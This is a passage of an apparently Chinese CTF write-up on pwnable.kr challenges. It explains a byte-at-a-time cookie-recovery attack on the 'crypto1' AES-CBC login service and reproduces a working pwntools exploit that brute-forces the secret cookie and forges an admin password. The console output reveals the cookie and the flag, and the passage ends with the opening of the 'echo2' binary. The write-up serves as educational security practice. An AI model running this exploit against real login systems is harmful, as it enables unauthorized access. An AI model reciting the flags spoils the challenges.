</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">packet</span> <span class="o">=</span> <span class="n">AES128_CBC</span><span class="p">(</span><span class="n">e_packet</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="nb">id</span> <span class="o">=</span> <span class="n">packet</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;-&#39;</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="n">pw</span> <span class="o">=</span> <span class="n">packet</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;-&#39;</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">if</span> <span class="n">packet</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;-&#39;</span><span class="p">)[</span><span class="mi">2</span><span class="p">]</span> <span class="o">!=</span> <span class="n">cookie</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="k">if</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="nb">id</span><span class="o">+</span><span class="n">cookie</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="o">==</span> <span class="n">pw</span> <span class="ow">and</span> <span class="nb">id</span> <span class="o">==</span> <span class="s1">&#39;guest&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">if</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="nb">id</span><span class="o">+</span><span class="n">cookie</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="o">==</span> <span class="n">pw</span> <span class="ow">and</span> <span class="nb">id</span> <span class="o">==</span> <span class="s1">&#39;admin&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="k">return</span> <span class="mi">2</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="n">server</span> <span class="o">=</span> <span class="n">SimpleXMLRPCServer</span><span class="p">((</span><span class="s2">&#34;localhost&#34;</span><span class="p">,</span> <span class="mi">9100</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="nb">print</span> <span class="s2">&#34;Listening on port 9100...&#34;</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="n">server</span><span class="o">.</span><span class="n">register_function</span><span class="p">(</span><span class="n">authenticate</span><span class="p">,</span> <span class="s2">&#34;authenticate&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="n">server</span><span class="o">.</span><span class="n">serve_forever</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>不想看，直接去搜 AES128_CBC 反转字节攻击。这个攻击方式我有点印象，之前刷题刷到过：<a
  href="https://h4cker.zip/2e5f29/#cbc" rel="nofollow noopener noreferrer" target="_blank"
  >https://h4cker.zip/2e5f29/#cbc<span style="user-select:none"> ↗</span></a
>
</p>
<p>当时没做出来，现在认真了解一下吧。</p>
<p>看得好痛苦，<a
  href="https://www.packetmania.net/2020/12/01/AES-CBC-PaddingOracleAttack/" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.packetmania.net/2020/12/01/AES-CBC-PaddingOracleAttack/<span style="user-select:none"> ↗</span></a
>
</p>
<p>看了不少文章，原理大致了解了，但是这题还是一知半解，看了 Etenal 的 wp 才恍然大悟：<a
  href="https://etenal.me/archives/972#C27" rel="nofollow noopener noreferrer" target="_blank"
  >https://etenal.me/archives/972#C27<span style="user-select:none"> ↗</span></a
>
，太棒了。</p>
<p>贴一下这个图：</p>
<p><img
  src="https://etenal.me/wp-content/uploads/2016/11/1-13.png"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async"
/>
</p>
<p>后面的区块不会影响前面的，我们只看图里第一个块，控制最后一个字节是 cookie 的第一个字节，然后跟自己猜的比对，就能暴破出来</p>
<p>成功得到cookie首位后，减少一位junk，加入已经得到的首位，就能爆破第二位，如此循环就能得到所有的cookie</p>
<p>这里推荐 Etenal 的 exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="ch">#!/usr/bin/python3</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s1">&#39;error&#39;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">cookie</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">61</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;0&#39;</span><span class="p">,</span> <span class="mi">9006</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;ID&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">((</span><span class="s1">&#39;-&#39;</span> <span class="o">*</span> <span class="n">i</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;PW&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="n">ciphertext</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;)&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="n">text</span> <span class="o">=</span> <span class="n">ciphertext</span><span class="o">.</span><span class="n">decode</span><span class="p">()[</span><span class="n">ciphertext</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">&#39;(&#39;</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span> <span class="p">:</span> <span class="n">ciphertext</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">&#39;)&#39;</span><span class="p">)][:</span><span class="mi">128</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="s1">&#39;_abcdefghijklmnopqrstuvwxyz1234567890,./;[]-=&lt;&gt;?:</span><span class="si">{}</span><span class="s1">+|&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">            <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;0&#39;</span><span class="p">,</span> <span class="mi">9006</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;ID&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">((</span><span class="s1">&#39;-&#39;</span> <span class="o">*</span> <span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">cookie</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;PW&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">            <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="n">ciphertext</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;)&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="n">guess_text</span> <span class="o">=</span> <span class="n">ciphertext</span><span class="o">.</span><span class="n">decode</span><span class="p">()[</span><span class="n">ciphertext</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">&#39;(&#39;</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span> <span class="p">:</span> <span class="n">ciphertext</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">&#39;)&#39;</span><span class="p">)][:</span><span class="mi">128</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">            
</span></span><span class="line"><span class="ln">30</span><span class="cl">            <span class="k">if</span> <span class="n">guess_text</span> <span class="o">==</span> <span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="n">cookie</span> <span class="o">+=</span> <span class="n">c</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;cookie=</span><span class="si">{</span><span class="n">cookie</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">((</span><span class="s1">&#39;admin&#39;</span> <span class="o">+</span> <span class="n">cookie</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">())</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>运行结果：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">……
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">cookie=t0p_s3cret_s3rver_s1de_s3cret
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">t0p_s3cret_s3rver_s1de_s3cret
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">d0bb8ea7a164d11918ff36f781818e386df95048fd4fb182be12f944778a11dc
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">crypto1@ubuntu:/tmp/cry$ nc 0 9006
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">---------------------------------------------------
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">-       PWNABLE.KR secure RPC login system        -
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">---------------------------------------------------
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">Input your ID
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">admin
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">Input your PW
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">d0bb8ea7a164d11918ff36f781818e386df95048fd4fb182be12f944778a11dc
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">sending encrypted data (c3a92c867b2793dba4712becd8fb3d8038f8872602bf90ced03e127e1f63276e42496295ac12fd7a3f5762a1975decf2d9ffeffd1885d968a911bd77c41e1c0e6c68e48f1c872646157bdf186ea43fda923c7bd020ed08aa3e9f8a60fc7d82b83fb93f498798505ce0b355fb3de66fdd)
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">hi admin, here is your flag
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">1mplem3nt4t1on_m1stak3_Br3akes_Crypt0
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h3 id="echo2">echo2<a class="anchor" href="#echo2">#</a></h3>
<blockquote>
<p>Pwn this echo service.</p>
<p>ssh <a
  href="mailto:echo2@pwnable.kr"
  >echo2@pwnable.kr</a
>
 -p2222 (pw: guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">echo2@ubuntu:~$ file echo2
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">echo2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4edd53a788f83abbdd5c911fc2a96fd6c5d42897, not stripped
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">echo2@ubuntu:~$ checksec ./echo2
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">[*] &#39;/home/echo2/echo2&#39;
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">    Arch:       amd64-64-little
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">    Stack:      No canary found
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">    NX:         NX unknown - GNU_STACK missing
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">    PIE:        No PIE (0x400000)
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">    Stack:      Executable
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">    RWX:        Has RWX segments
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">echo2@ubuntu:~$ ./echo2
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">hey, what&#39;s your name? : admin
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">- select echo type -
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">- 1. : BOF echo
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">- 2. : FSB echo
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">- 3. : UAF echo
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">- 4. : exit
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="gp">&gt;</span> <span class="m">1</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">not supported
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">- select echo type -
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">- 1. : BOF echo
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">- 2. : FSB echo
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">- 3. : UAF echo
